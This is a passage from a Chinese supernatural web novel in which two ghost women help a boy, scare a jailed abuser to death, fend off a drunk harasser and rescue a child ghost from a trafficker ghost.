“好吧。”陈献午没话说了,世上竟真有不在背后讲别人坏话的人。
江越人见她兴致跌下来了,便另想了个话题:“对面那个学生怎么样了?”
“刚从医院回来,他家里人陪着,我还没机会问他呢。”陈献午卧到沙发上,双手垫在脑后,“看着很正常,本来也没真受什么伤,唯一的伤口还是我揍的。你说现在的小孩心智怎么那么成熟,我像他这么大的时候还喜欢看动画片呢。”
可惜她也没能一直幼稚下去,没了遮风挡雨的大手,被迫成熟根本无需时间磨练,一夕即可。
江越人想说,你也没比他大几岁,又怕把天聊死,最终只是干巴巴地回了个:“确实。”
19. 第 19 章
好不容易挨到晚上,也不能开火,江越人又开始变“苗条”,她埋着头有些烦躁,也不知道还有多久才能投胎,她真的受够了没完没了的缩水膨胀反复横跳。
陈献午习惯性地观察江越人,早就注意到了她的变化,但又不能表现得比她还焦虑。
于是在房间漫不经心晃悠一圈后才穿过正门,把头伸进对面家里,发现她们正在吃晚饭,吸了吸味道又缩回去,太香了,要是能留一些就好了。
大晚上的,可没有现成墓地能让她再拿吃的了,只能寄希望于孙航宇。
没过一会儿,对面的门突然打开了,孙航宇站在门前伸着懒腰道:“我出去透透气。”
金奶奶哪里放心得下,碗筷收拾到一半立刻放下走过来,“我陪你,就在小区里走走可以吗?”
孙航宇瞥了眼对面紧闭的门,稍微提高音量:“奶奶,我就站门口透气就行。”
金奶奶不理解门口的空气和家里有什么不同,但她哪会不依,即使孙子说要绕城走一圈,她也不会不允,反而会给他挑一双轻便的鞋,跟上他的脚步出发。
“那行,出去一定要喊奶奶,或者喊你妈一起,知道了吗?”
“嗯,我哪儿都不去。”孙航宇拼命点头,迫不及待应道。
金奶奶一走,他就紧盯对面的门,像是要把它盯穿。也不知道鬼姐姐听没听见,如果她不在的话,要怎么联系她呢。
孙航宇往家里瞄一眼,妈妈在忙工作,奶奶在厨房,很好,没人注意到他,于是他掩着嘴偷摸小声试探:“姐姐,在吗?在的话吱一声。”
陈献午一直在旁边看着他,见状凑到他跟前,也学他掩着嘴,“吱~~”
孙航宇没想到声音就在耳边响起,离得也太近了点,他猛地后仰,脚后跟绊到门槛,整个人都向后栽,两只手胡乱在空中抓扯。
陈献午忽地幻视阿姨坠崖时是否就像这样手足无措,她眼疾手快拉住孙航宇的小臂,孙航宇另一只手也因有她的支撑,扒住了门边,这才没事。
“怎么了?”蒋书和金奶奶听到动静赶紧跑出来。
孙航宇脚踩在门槛上,望着空气尴尬道:“没站稳。”
蒋书朝他脚底看了一眼,嘟哝句:“吓死了。”又接着回去伏案苦干。
金奶奶嘴巴张了两下,什么也没说便回了厨房。
陈献午稍离远一些,气声问道:“你们家还有吃的吗?”
“有,水果、牛奶和面包,我拿进房间里,然后你去我房间吧,这里不方便。”孙航宇看不到陈献午,也不知道往哪看,索性直接低着头回答。
“好,多拿点,越多越好。”
孙航宇对着空气点点头,回家默不作声开始翻冰箱。
葡萄,水蜜桃,梨,全拿出来。
“没吃饱吗?”金奶奶正刷着碗,看到孙子拿出一堆水果惊诧不已,“放那,等我刷完碗给你洗,吃这么多水果会拉肚子的。”
孙航宇把水果挪到另一个洗碗池,一个个开始洗:“不会的,也不是光吃水果,还有面包呢。”
“晚上做的饭不好吃吗?”
“特别好吃,我这是提前准备夜宵呢,奶奶,作业太多了,脑力消耗比体力消耗还大,我这叫兵马未动,粮草先行。”
金奶奶哈哈大笑,看来是她想太多了,没事就好,“你这孩子,也别学太晚,医生说你需要多休息。”
孙航宇:“奶奶你还不了解我嘛,我就不是多刻苦的人。”
洗完的水果,一个盘子根本放不下,他干脆拿一个干净大袋子装,几乎要装满了。他自己也觉夸张,趁着奶奶没注意拎了就跑,回到房间放下袋子又出去拿面包牛奶。
陈献午和江越人早就在他房间里等着了,见他进来没敢陡然出声,结果这孩子又出去了。
陈献午没等孙航宇回来跟他客套两句,便拿起一颗桃子递给江越人,水灵灵的,看得她都想吃了。
孙航宇一手拎着袋面包,一手提着箱牛奶,像要走亲戚似的开门进来,只见半空中飘着一颗桃,桃子还转着圈,转过来的一面只剩核了。
他哐当一声把门踢上了,这要被奶奶看见就出大事了。
手里的东西还未放下,袋子里又飘出一颗桃,好像被一只手举着,更高一点的桃吃完了,这颗又续上。
孙航宇对着看不见的那张嘴说:“姐姐,别光吃水果,这还有面包。”
心里却是在想,这是多久没吃饭了,饿虎扑食啊。
陈献午站在他左边道:“你还知道洗干净,不错不错,有前途。”
孙航宇又是一惊,“你怎么在这?”
“我应该在哪?”陈献午被他这反应搞得一头雾水。
孙航宇看了看声源处,又看了看半空的桃子,来回两遍后恍然大悟:“这位是那个阿姨吧。”
说完他对着那颗桃深鞠躬:“阿姨好。”
江越人忙碌的嘴抽空停下回他:“猜得很好,下次别猜了。”
陈献午嘎一声笑出来,突然想起外面还有人,笑声戛然而止,她捂着嘴闷哧闷哧地笑,忍得好不辛苦。
金奶奶在外面纳闷,好像听到孙子房里有鸭叫,会不会听错了。
孙航宇后退几步把门反锁,“我说错了吗?”
陈献午刚要说话,噗哧一下又要笑喷,被江越人瞪了一眼,她才止住,随即转过身背对着她,“她说你猜得很好,下次别猜了。”
“那这位是?”
“和我一起的朋友,也是姐姐,阿姨已经走了。”陈献午撕开一袋面包反手递给江越人。
孙航宇又对着面包道:“抱歉。”
江越人潇洒点了下头,陈献午替她回道:“她说原谅你了。”
“姐姐,其实我早就想问了,她们怎么一直不说话,只有你在说,那天也是。”
陈献午认真思考了下:“这个嘛……从唯物主义层面来讲,我解释不了,从唯心主义来看,我更不知道。但是!从玄学角度上,我认为这都跟一道门有关。哎呀,算了,小孩子不要瞎打听,反正就是只有我可以和生人交流,也只有我可以触碰生物,懂?”
孙航宇愣愣地点头,随后便是漫长的沉默,他看着袋子里的东西不断升起,平移,掉进垃圾桶,一直在找合适的时机插话,总觉得不好开口。<
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p>直到陈献午再次问起:“我们可以把剩下的牛奶带走吗?”
孙航宇下意识道:“可以。”脑子又把陈献午刚刚的话过了一遍,带走,走,她们要走了,“不,等等。”
陈献午刚要拎牛奶箱,听到“不”又赶紧缩回,连吃带拿确实不太好。
“这就要走了吗?”孙航宇本就看不见她们,一着急就更像没头苍蝇,眼睛到处找,最后两手一张拦在门前。
陈献午以为他想好好告别,笑说:“我懂了,肯定不会不打一声招呼就走的,谢谢你的款待,后会无期。”
孙航宇心里过了好几遍的话,脱口变成了问责的意思:“说好合作的,事情还没解决呢,你们去哪?”
“解决了呀,他进去了,你好好的,没受什么伤害,皆大欢喜。”
“可是我的事被压住了,都没几个人知道,这不是我想要的结果。”
陈献午不解,头一次见有人上赶着往自己身上泼脏水,贴不好的标签,“我能问为什么吗?”
孙航宇激昂的情绪一下子跌落,难以开口。
“不想说就不说了,但你要知道,警察和法院不会忽略这件事,他会得到相应的惩罚,这就够了。用伤害自己的方式惩罚坏人不值当,你还小,不在乎流言蜚语,但是你的家人受到的伤害不比你少,她们还会胡思乱想,会脑补,无限放大你所受到的伤害,然后责怪自己。”
孙航宇思虑再三,觉得对姐姐可以说,于是轻声道来:“我有一个很好很好的朋友,从小一起长大,他叫谢雨威,我们本来可以一起上初中,高中,甚至大学。可是就因为那个王八蛋,害他病了,病到谁都不认识,我已经快记不清他长什么样了。去年我去他家打听,才知道他爸妈离婚了,他被送去精神病院……”他握拳抵住牙关,死死压抑着哭声。
陈献午没想到背后还有这样的一层故事,怪不得他要这样做。
“弄死他吧。”江越人冷不丁冒出一句。
陈献午正有此意:“好!”
孙航宇听到她说好,一时都忘记哭了,表情发懵。
陈献午赶紧解释:“不是,不是跟你说的,千万别误会。”
江越人:“我想到办法了,你跟这学生说……”
“我不说,你也先别说。”陈献午回答完江越人的话,又拍拍孙航宇的肩膀,“有我在,他不会好过。话说,你长大考不考虑去做演员,我感觉你演技特别好,演员影响力还大,到时候你接个这种类型的电影啥的,让更多孩子学会保持警惕。”
孙航宇低着头思考,半晌问道:“那你呢,下一世想做什么?”
“我当然是要成为首富的女儿了。”
“那便祝你得偿所愿。”
“好。”
陈献午朝江越人勾勾手指,示意她走了。
孙航宇背靠门上站着,隔了很久,他轻唤一声:“姐姐?”
没有回应。
他怔愣看着垃圾桶的残骸,确信一切都不是幻觉,不是说会好好告别吗?走得真快。
再看垃圾桶旁边,忽然笑了下,应该也算是打过招呼了吧,毕竟牛奶被她拎走了。
20. 第 20 章
陈献午和江越人到了外面,直接往警局走。
江越人没率先说出自己的计划,而是问道:“我说要弄死他,你不怕吗?”
陈献午确是不解了:“怕什么?怕你?”
又不是弄死我,我怕什么?我还能再死一遍吗?
江越人:“不是,你不觉得咱俩有法制狂徒那味儿了吗?”
陈献午一摆手:“嗐!阳间的法律又管不着我,阴间的法律我不知道,不知者无罪。到时候他一死,我俩就溜,嘿嘿。”
江越人忍不住为她鼓掌:“好一个逍遥法内的高手。”
陈献午:“果酱了,军师,说出你的计划。”
“你不是可以附身他吗?到时候我怎么说,你怎么做。”
飘的速度是要比走路快不少,没多久俩人就到了警局,正巧碰上两个警察进来,其中一个拿了讯问笔录放在王居正面前,让他签字。
王居正一爪子伸过去,老警察眼疾手快抢先抽走:“你再撕了也没用,录口供的时候全程监控,这上的话全都出自你口。”
王居正三白眼上翻,恶狠狠地盯着老警察:“不是我,你们都被耍了,不是我,是那个女人,哈哈哈哈哈哈哈,你们这群傻子。”
“你儿子已经签了拘留通知书,他说只要你配合,再去拘留所之前就来见你最后一面。”
“有什么好见的,我没见过他吗?嗯?他早就和我断绝关系了,不孝子不要也罢。”王居正完全不吃这套,破罐子破摔。
老警察头大如斗,大半夜的还要在这折腾,心情实在不美丽。
江越人面色冷硬:“你上他身,先签一个字,然后出来。”
陈献午应声而动,瞬间隐进王居正身体里,摆出一个纠结的表情,偷摸抬头瞄了一眼老警察,臭脸慢慢缓和,好像真的在乎儿子似的:“我签了他就来吗?”
老警察对他忽然又转变的态度显然不耐烦,加班本就烦躁,还要跟一个神经病周旋,于是把讯问笔录一巴掌拍在桌上,“他是这么说的。”
“王居正”拿过讯问笔录看都不看一眼,潇洒地签了个‘王’字。
陈献午把笔一扔,抽身出来。
只见王居正打了个摆子,摩挲两下胳膊,颇为疑惑,警局里的空调这么高效?说冷就冷?他对警察又开始甩脸子,总来这招,烦不烦。
他一低头发现纸上已经写了个‘王’字,大惊失色,面露恐惧,旋即转变为病态的狠厉,由于脸上的伤还没好,看起来格外狰狞,他突然尖声咆哮起来:“有本事出来,我就知道是你,滚出来!”
老警察被他这副样子吓一激灵,多多少少受其影响,不着痕迹地看了看四周。
江越人对这反应满意极了,唇边溢出笑意:“再上去写一个字。”
陈献午就等着这句话呢,一上身就开始演起来了,“你不是喜欢签吗?来,我先写完了看你怎么办。”说罢,唰唰将后两个字补齐,写完愣了一下,刚刚好像说只写一个字来着。
“没事。”江越人看出她的迟疑。
陈献午怕这张又被王居正撕掉,手一挥将纸拨落到地上,然后才离开。
老警察咬着后槽牙咯吱一声,按着眉心走过去捡。
王居正一眼锁定被写完的签字栏,狂拍桌子,“你死了还来干嘛!!!我当时就应该让臭道士做法,叫你灰飞烟灭,啊啊啊啊啊啊!你给我出来。”
老警察拿到签完字的笔录,不想管他作何反应,直接转身离开,有本事害了人别心虚啊。
两个警察离开,王居正根本没察觉,他已经陷入自己幻想的世界,被他害死的羊毛卷阿姨一直在周围阴恻恻地盯着,他神经高度紧绷,眼珠子不停震颤。
江越人:“他已经崩溃了,现在靠近他,说——你在找我吗?”
陈献午简直惊呆了,装神弄鬼可太有意思了,她压低嗓音凑到王居正耳边,用只够他一个人听见的声音一字一顿:“你在找我吗?”
王居正白眼一翻,浑身抽搐着向后倒去,挣扎了一会儿停止不动了。
陈献午张开双臂,仰头笑得像黑魔仙一样,偏偏她又不发出声音,落在江越人眼里就如突发恶疾一般,怪吓人的。
“你能不能正常点?”
陈献午不理,改张开双臂为叉腰笑,肩膀还一耸一耸的,直笑够了才停下。
这时,一个胖呼呼的白无常突然凭空出现,见到陈献午和江越人一惊,转身就要跑,脚刚抬起来又发现不对,他回过头颤颤巍巍问道:“你们是谁?”
陈献午化身哑巴撇过头装蒜,江越人轻飘飘说了句:“路过。”拉着陈献午就要走。
胖无常壮着胆子喝道,自认威武有气势,实际说了两个字声音便越来
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越小,“哪来的小鬼,谁准你们走了。”
江越人:“我们没有路引。”
陈献午连连点头。
“啊?”胖无常显然没料到这个回答,愣愣道:“那你们走吧。”
二人默默转身飘起,离地半尺。
“等等,我,我不能放任你们在人间作乱。”胖无常义正言辞,只是声音实在颤抖,直叫人想无视他。
二人又默默落地,江越人无奈真诚向他解释:“大人。”
这两个字一喊,胖无常十分受用地抬起了骄傲的头颅,顺便挺了挺胸膛。
江越人指着王居正:“我们真的只是路过,本想救他,但是身而为鬼,实在无能为力,这样的我们怎么会作乱呢?”
胖无常撅起嘴思考,好像说得有道理,“那你们是想攒功德投胎?”
江越人:“嗯?嗯!”
“还挺有消息渠道,谁告诉你们?”
“这……我们不能出卖人家。”江越人半挡住陈献午,同她要了两个金元宝,上前递给胖无常,“那人当然没有您知道的多,我们若想投胎的话,需要积攒多少功德,可否透露一二。”
胖无常惊奇地看着手中元宝,没想到还有这等好事,正好工资快花完了,他生怕江越人收回元宝似的往袖子里一藏,高深莫测道:“当然是越多越好了。”
江越人一脸黑线,浪费了。
陈献午扯一扯她的衣摆,两人瞬间穿墙消失。
胖无常见她们离开更是开心的不得了,这下不会抢回去了。
美滋滋乐完后才想起来干正事,这亡魂怎么还不出来,他甩出勾魂锁,那头自动缠住王居正,将他带离身体。
王居正一看到胖无常,半闭眼睛不屑地睨着他:“装挺像。”
这些警察一天天没事干,尽耍花样,又想骗人签什么字。
胖无常刚被叫了好听的“大人”,还收到小礼物,到王居正面前待遇却天差地别,脸色难看起来,他手里可是有此人的路引,难道还怕制不住他吗?
胖无常一巴掌抽过去:“敢说本大人是冒充的。”
那王居正的头在脖子上咻咻转了九百度,面朝后背。
胖无常蛮力拽着他踏进阴阳穿梭门,把他扔到鬼门关外,还跟城门口的阴差说:“他的头本来就长这样。”说完不管别人反应,转身消失了。
21. 第 21 章
暑热难耐,凌晨似乎比白天更热些,市中心灯火通明,虽不及白天人流如潮,却也少不了无声的“喧闹”,刚下班的人通身散发着烦躁的气息,怨气吵翻了天。
贺修云双目无神地走下出租车,刚刚险些睡死过去,等发了工资她就搬家,再不住这么偏的地方了,出租车都进不来。
她从大路拐进小巷,周遭瞬间暗了大半,偏僻的地界就连路灯都稀缺,隔很远才有一个,且只能照亮灯柱下的三分地,两个路灯间说是黑黢黢也不为过。
平时她都打着灯极快地走回去,今日站在巷口迟迟迈不开脚,总觉得心慌。
但是回去必须得穿过这条窄巷,再磨蹭,珍贵的休息时间就溜走了。贺修云鼓了鼓劲,提心吊胆往里走,脑子里闪过各种可怕的预想,路没走几步,自己先吓得模糊了眼。
前面好像有东西!
她脚步一顿,赶紧抹了泪细看,墙边好像坐着一个人。
贺修云又走不动了,大半夜坐在这不像个好人,他会不会是死了?要是过去会不会误会是她干的,她快把自己吓傻了。
就在她纠结之际,那人动了动,朝她看过来,爬起来的动作迟缓而僵硬。
贺修云悄悄退了两步,惧心更胜,只见那人忽然暴冲过来,口中还有怪异的笑。
她不受控地尖叫一声,转头就跑,身后笑声不断逼近。
快到巷子口时,她被人一把拽住,手臂差点脱臼,那人嬉笑问道:“美女,别跑啊,多少钱一晚?”
烟酒臭气尽数喷在她脸上,想呕!
“住院费五百一晚,ICU一万一晚,你选哪个?”
两人中间忽然冒出一道声音,他们都没看见人,紧接着又一道砸肉的声音,那醉汉脑袋猛地撇向一边,抓着贺修云的手突然松开,掌腕向下,手臂抬过头顶,凄厉惨叫起来。
还没叫过两秒,他又撅起屁股倒地了。
这一切发生的太快,贺修云脑子宕机怔在原地,什么情况?
“不想选?我用手中的哭丧棒帮你选吧。”
醉汉杀猪般的叫声响彻在巷子里,随后整个人飞出去,落到大路上不停翻滚,左脸五厘米粗的红印十分显眼,印上还有许多细小血痕。
贺修云从始至终都没看见人,心中闪过好几个猜测,她没有害怕,反倒小心翼翼试探:“谢谢。”
没有回应。
“你是谁?可以告诉我吗?”
除了醉汉的哀嚎外,仍是没有其他声音。
“难道走了吗?总之,真的很感谢!”贺修云看不到人,她朝四面八方都鞠了个躬才离开。
一进家门,贺修云立刻拿出手机,手指在屏幕上飞快地点击,没一会儿就编写好一篇五百字小作文,形容生动,情绪饱满,每个社交平台都发一遍,做完这一切她有些怅然若失,只有不断回想才能证明刚刚的一切不是假的。
一直跟着她直到回到家的陈献午和江越人慢慢返回,离了老远,陈献午才敢说话,“冲动了。”
方才经过时突然听到女生尖叫,她们便匆匆赶来,拐过来一看,果然不是小事,陈献午想也没想就出手了,听到女生道谢,她才后知后觉暴露了。
“没事,封建迷信没人会相信,这里没监控。”江越人看了全程,一个劲儿郁闷,怎么忘记试试哭丧棒的手感了,拿到手至今没用过。
陈献午想了想:“也是。”
谁还没在网上看过几个灵异鬼故事了,信则有,不信则无。
“今晚怎么说?我带你去高铁站玩去不去?”
江越人默然,“你没事吧?”
陈献午直接将这几个字过滤掉,下次不说这种废话性的玩笑了,好尴尬。再走走马上快要天亮了。
“啊!”
江越人一脸疑惑看着陈献午,仿佛在说:敢不说个原因出来试试!
“你有没有发现,我已经两天没睡觉了。”陈献午激动地蹦跶起来。
江越人一想,确实是的。
“我终于进化掉睡觉了,耶斯,活着的时候我就在想,人为什么要睡觉,死了还是要睡觉,太不合理。”陈献午眉飞色舞地做着一些难以捉摸的动作,有点像跳大神,“哦吼吼吼,要是我还活着,我可以比别人多活一半时间。”
江越人一言难尽瞅了她一眼,“活人睡觉的时候也是活着的。”
“睡着就跟掉线一样,跟死了也没区别。”陈献午持续兴奋。
在江越人看来,这并不是什么值得开心的事,除了刚死那天睡了一会儿,她至今没睡过觉,没发现不睡觉有多好,她甚至想睡着,睡着就不用一直发呆了。
“还是去高铁站吧,天快亮了。”
“听说这附近有所废弃学校,咱去探险吧。”
江越人:“……又是哪里打听来的?不去。”
“哎呀,去嘛,咱不是需要功德吗?电视剧里一般这种地方都有冤情。”陈献午两眼放光,期待拉满。
“呵,电视剧……”想一出是一出,江越人闭上眼睛叹气,“走吧。”
“我就知道你把持不住。”
陈献午自己一个人去警局的时候,路上听见几个学生讨论南边有个废弃学校闹鬼,半夜会有读书声传来,好像还是个老师。
她当时就感兴趣了,一直憋到现在才说。
二人飘起来往南去,占领高处很容易就找到了目的地,只有那一处没有光亮。
落到学校大门口,大门还是老旧的铁栅栏式,两扇门中间铁链绕了几圈挂住,锁头不知所踪,这么久大家竟都默契地没将这摆设锁链拿掉。
栅栏间距不小,瘦一点的甚至能直接钻过去。
陈献午穿过铁门进去,将自己代入探险的学生,自顾自陷入紧张刺激的氛围中到处看,江越人不咸不淡地跟在后面,她实在想不通陈献午的脑回路。
经过长长宽阔水泥路,才见到教学楼,也不知道修建得离大门那么远做什么。
陈献午直接忽略一层,从楼梯上二层,什么也看不见,好在不用走,脚顺着扶梯往上飞就行。
一栋楼总共就三层,她们把每个教室转悠了个遍,什么也没发现,饶是陈献午也觉有些无聊了,但她自己提出来的,无聊也要探完整个学校。
陈献午:“后面应该还有楼,一定能找到,就从这过去吧。”
江越人不语,只一味地拉着陈献午衣角跟着,她本来就没指望找到什么,只要不坐在高铁站发呆,什么都可以。
飞跃楼涧,她们落在后面一栋楼的三楼,刚一落下,两人脸色均变了。
隐隐的读书声隔着墙壁传来,好像还不止一道声音。
陈献午像发现宝藏似的:“我说什么来着,真的有鬼!”
江越人略显意外,歪打正着?每次她说的都像胡扯,偏偏都发生了。
循着声音往下走,一直到一楼第二间教室前,里面中年声读一句,稚嫩童声重复一句,拖拖拉拉的‘之乎者也’,一听就觉得他们在摇头晃脑。
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她们穿墙进去,恰好小孩刚念完,陈献午立刻道:“你们是谁?”
两个声音的主人一惊,小孩放声尖叫着撞到大人怀里。
陈献午赶紧安抚:“别怕,我们路过,不是恶鬼。”
“你怎么确定他们不是人?”江越人跟她贸然闯进来,突然反应过来这一点。
“对哦。”陈献午对听到的小道消息先入为主了,压根没细想。
大人听到她俩对话放心了,确实没有恶意,他拍了拍小孩:“小炯,没事的。两位女同志好,我们也是鬼。”
女同志?陈献午低下头看了看,感觉头好痒,面前好像突然长出了两条麻花辫。
这人死了不短时间啊,还很好学,大半夜都在教小孩子学习。
陈献午难得遇到不会回话的情况,她抠抠手指:“你好,男同志。”
江越人:“你好。”
互相打过招呼后,她们了解到,此人名为杨善,原是个不第秀才,咳疾严重,没钱治病,生生咳血而死。因对知识的渴望不舍,躲过阴差追捕,在人间游荡至今。
女同志这个称呼是很久以前遇到的一个鬼教他的,他也不记得过多少年了。不久前救下这个被抓走的小孩,给他取名杨炯,后来二人找到这个地方就一直留在这了。
“为什么不让小炯去投胎?你不想投,他也不想吗?”江越人听罢,问出疑惑。
杨善冷哼不屑:“投胎有甚好,其所欲学,吾皆能诲之。”
“说白话!你学识再强,也不能替他做选择,他是个有独立意识的个体。”
“我们在此作伴,不劳你费心。”杨善态度强硬,不似之前那般彬彬有礼。
杨炯听出其中意味,像头被惹怒的小狮子脆生生喊道:“不要你管!我喜欢这里,我要留在这!”
江越人不愿强人所难,便不再相辩。
“不投就不投吧,我们又不是无常。”陈献午无所谓道,原以为有什么功德可挣,几百年前的事她们可管不着,人家也不领情,本就是两厢情愿的事,谁都没错,没必要起矛盾,“走吧。”
“嗯。”
二人转身离开,刚走几步,里面又投入孜孜不倦,一心向学的世界了,朗诵声拖得长长的。
陈献午两脚一转回身,再次走进去,高声提醒道:“小声点!再把人招来,一个不顺眼就喊道士把你们收了。”她说完就走。
里面声音果然小了许多,比正常说话音量还要小几分。
她们不消商量,默契地开始找高铁站,功德不是那么好挣的,大方向不能歪。
夏日天亮的很快,开灯似的,啪一下就亮了。
她俩没有地图没有导航,两眼一抹黑瞎找,越找越歪,竟摸到农庄去,大片的绿油油水稻围绕,稍远处一排排房屋高低错落。
“先找个空屋子吧,等会儿太阳出来了,我找找吃的去。”陈献午看看天提议道。
江越人没有异议。
接近房屋,有不少居民已经忙活起来了,各家门前有喂鸡鸭的,有刷牙的,还有搬张桌子坐在门口吃早饭的,看着各干各事,却不吵闹。
更远处有个小路,路弯弯曲曲延伸到坡上,一座灰扑扑的房子立在那儿。
陈献午指了指,“去那。”
二人全力奔过去,目测还剩三四百米,却听得一连声的尖锐嘶喊穿透瓦屋刺进耳膜,足见绝望与恐惧,不好的预感陡然升起。
她们加速飞快冲刺,心中皆感叹:这一晚,事真多。
22. 第 22 章
越是靠近那座瓦屋,凄惨尖叫越强烈,几乎震碎耳膜。
仅差几米就能进入,二人神色更紧张,惨叫却戛然而止,静得出奇。
她们顾不得是否有陷阱或是其他,直接莽撞地冲进去一探究竟,无论是人是鬼都不足为惧,打鬼有利器在手,是人那就更好办了。
屋内破败不堪,木质桌凳床榻皆已蒙尘,倒的倒,断的断,背阴斜檐的房顶还漏了个大洞,这个豁口给房间带来了光亮。
一大一小正巧站在最亮的地方,打眼一看,小的满眼惊恐,嘴巴被死死捂住,细胳膊细腿,瘦得皮包骨像个小骷髅,顶多五六岁的样子,望见闯进来的两人便剧烈挣扎起来,眼睛亮得吓人。
大的面相瞧着老实,但他此刻一手掐着小孩脖子,一手按在小孩嘴上,手脸交界处泛白,委实可恶。
本想在此歇歇脚,岂料这小崽子疯起来比猪还难按,还把人招来了。
陈献午二人突然出现,他懵了一瞬,旋即凶狠警告:“滚!不要不识相。”
江越人一听,嘴角扬起微不可察的弧度,看来是同类,她手背在后面慢慢靠近。陈献午见状扔下花圈和牛奶箱,单手拿着哭丧棒掐腰站,略微分析了下,貌似不需要她一起出手。
老实鬼加大力道掐住小孩鬼往后退,直到退无可退,他有些摸不准上前的女生意图。
江越人在他们面前一米远处站定,像是讨论天气如何似的开口:“放了他。”
老实鬼无语地撇了撇嘴,面有嫌弃:“有病。”
小孩鬼一直在挣扎,听到江越人的话反倒停了下来,豆大的泪珠子说掉就掉。
江越人点点头,以迅雷不及掩耳之势抽出哭丧棒,甩在老实鬼头上,这一棒威力远超燃烧的火棍,抽得老实鬼半颗头像木炭一样猩红点点。
老实鬼没预料到她出手如此之快,整个人被掀倒,还连带着小孩一起倒下。
小孩鬼也是机灵,呲溜爬起来奔向陈献午,躲在她后面躲得严严实实,一点没露。
江越人没给老实鬼爬起来的机会,三两下抽得他抱头翻滚,即使这样,他也没求饶,闷不吭声受着。
江越人并未因此慢下动作,一下一下抽得起劲,拐卖小孩没被她遇到过,逮到拐卖小鬼的鬼贩子,岂能放过。
老实鬼翻着翻着忽地不动弹了,浑身上下没一块好地方,若是肤色再黑一点更有效果。
江越人用哭丧棒抵了抵他,好像真晕了,陈献午找的武器真真趁手,简直是为她量身定做的。
陈献午错身一让,想看看身后的小鬼,哪知她一动,小鬼跟着移,她再转半身,将后背露给江越人那边,小鬼头也不抬,纠结两秒站到她面前,抖得跟个筛子似的。
“没事了。”
小鬼恍若未闻,依旧低着头颤抖。
陈献午没哄过小孩,不知道怎么做,在她印象里,小孩都挺可怕,哭起来像炸弹一样,回头求助地看向江越人。
江越人也没经验,硬着头皮尽可能轻声细语:“他已经晕了,不会再伤害你了。”
小鬼闻言探头朝角落瞥一眼,又迅速缩回,抖的幅度没那么大了。
江越人:“你叫什么名字……呀?”
小鬼颤颤巍巍偷瞄了一眼江越人,声音细若蚊蝇:“周健康。”
“名字不错。”
无心的夸赞之后便是长久的沉默,江越人也不知道说什么了,三个人凑不出一句话,气氛凝固。
“你哪儿的人?怎么会被他抓到这?”陈献午随口问道,她没指望能得到有用的回答,年纪小又受了惊吓,能记得自己名字就不错了。
“我家在西泾,姐姐你能帮我找爸爸吗?”
“你爸死没死?”陈献午怕他理解不了委婉的话,直截了当问道。活人难找,死人就能难找了,万一被阴差带走了,把地都挖开也找不到。
周健康嘴巴向下一弯,下唇颤抖,哭腔溢出:“……死了。”话落抽泣起来。
陈献午顿时一个头两个大,怕什么来什么,早知道不问了。
“哎哎哎,别哭啊,你说说什么情况,他怎么死的?在哪死的?不说我怎么帮你啊。”
“护,护士姐姐们骗我,她们说,说爸爸去很远的地方运货去了。”周健康用手指扒拉下眼睛,克制着抽噎断断续续道:“让我跟其他叔叔走,去一个有很多小伙伴的地方住,我听到她们说的话了,爸爸出了车祸,没有钱住院,医院也没办法留我,我好想爸爸。”
他说着又要放声哭,但自己很快捂住嘴死死憋住了,他怕两个姐姐嫌弃,也不想帮他找爸爸。
陈献午听着逐渐脸色不对劲。
江越人:“然后呢?”
“然后我看到一个坏叔叔,就是他。”周健康指了指倒在地上的老实鬼,“他说认识爸爸,让我跟他走。我拔掉身上的管子,偷偷溜出病房,护士姐姐们都没有发现我,可是他带我走了很多天,他根本就不认识我爸爸,我问他,他也不告诉我,然后我就想自己去找,他不让我走,还打我。”
“如果你找不到呢?”江越人也不想扫兴,但她实在说不来善意的谎言,越骗越圆不了。
周健康小脸瞬间耷拉下来,半晌才闷闷回了句:“不会的。”
陈献午突然问他,“你爸叫什么名字?”
周健康以为有希望了,赶紧回道:“我爸爸叫周勇胜,姐姐你见过他吗?”
“呵,果然。”陈献午冷笑一声,难怪她听着熟悉,“我们帮不了你,自己去找!”
江越人发觉她情绪怪异,“你怎么了?”
陈献午摇摇头,抬脚就走,“没事。”
“姐姐。”周健康急切拉住她衣服下摆,只扯了一下就害怕地缩回,盯着陈献午的眼睛几近恳求,极小声地又喊了句:“姐姐。”
江越人不知道她为什么突然转变,尤其是听到周健康爸爸的名字之后,脸色更阴沉了,第一次看到她露出这种表情。
“为什么,说出来好让他死了这条心。”江越人对周健康可怜的样子心有不忍,但也仅能做到帮他问清原由。
周健康连连点头,黑眸子一错不错地看着陈献午背影。
“没有为什么,我又不是什么烂好心的,凭什么帮他。
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陈献午穿过墙壁出去,发现太阳已经升到高处,等了一会儿发现江越人还没出来,她也不进去,就站在门口等。
等了十多分钟,里面的人还是没出来,陈献午心中不快,只当江越人看不惯自己的做法,所以不出来,有了猜测后,她便更不忿,别扭地看向门前杂草,反正不可能再进去。
江越人知她还在外面,不知如何劝她,不明真相贸然相劝只会更糟,周健康又可怜巴巴地缩着身子,时不时警惕地瞅一眼老实鬼醒没醒,令人十分为难。
其实她不是爱管闲事的人,只是这孩子太过弱小,变成鬼都逃不过被拐卖的危险,能帮就帮一把。
她拿出一瓶牛奶,插上吸管递给周健康,“你爸爸平时怎么叫你,康康吗?”
得亏陈献午提前把每一瓶牛奶都摸了一遍,不然她也拿不到。
周健康点点头,小心翼翼接过牛奶,拿在手里不喝。
“你没遇到戴白色或者黑色高帽子的叔叔吗?”
周健康偏头想了想,摇摇头。
是无常太好当了吗?阴间编制不用考试?怎么全是不负责任的,看来阳间还有不少鬼魂在游荡。
江越人蹲下身,和周健康平视,“你……”
她往小鬼身上打量了下,全身骨瘦嶙峋,唯独手部有些肿,胳膊上许多针孔和淤青,方才没细看,以为头上是被打的,现下看清了,分明也是针孔,还有与小光头发际线重叠的一道长疤。
“你几岁了?”
“九岁。”
九岁竟然这么瘦小,病痛果然折磨人,江越人就算没生过大病,光是从他的模样也能想到该有多难捱。
“你上过学吗?”
周健康想起学校,眼中尽是向往:“我上过大班。”
江越人点点头,九岁还没上过小学,生病几年了,她突然问不下去了。
她走到墙边,半是商量的语气道:“陈献午?”
陈献午听见却不睬,想也知道她要说什么,别的都能妥协,帮忙绝无可能。
“你进来一下。”
陈献午仍是不出声。
江越人无奈撑起花圈走出去,“我不是来劝你帮他的。”
陈献午偏过头不配合,江越人学着她的样子拉住袖子摇晃,“咱们投胎不是需要功德吗?里面那个鬼贩子撞上来了,不解决他吗?大功一件哦。”
不管能不能帮到周健康,起码把眼前最大的祸患先铲除掉。
“我们又招不来无常,怎么解决……?”陈献午知道她打什么算盘,没有拆穿。
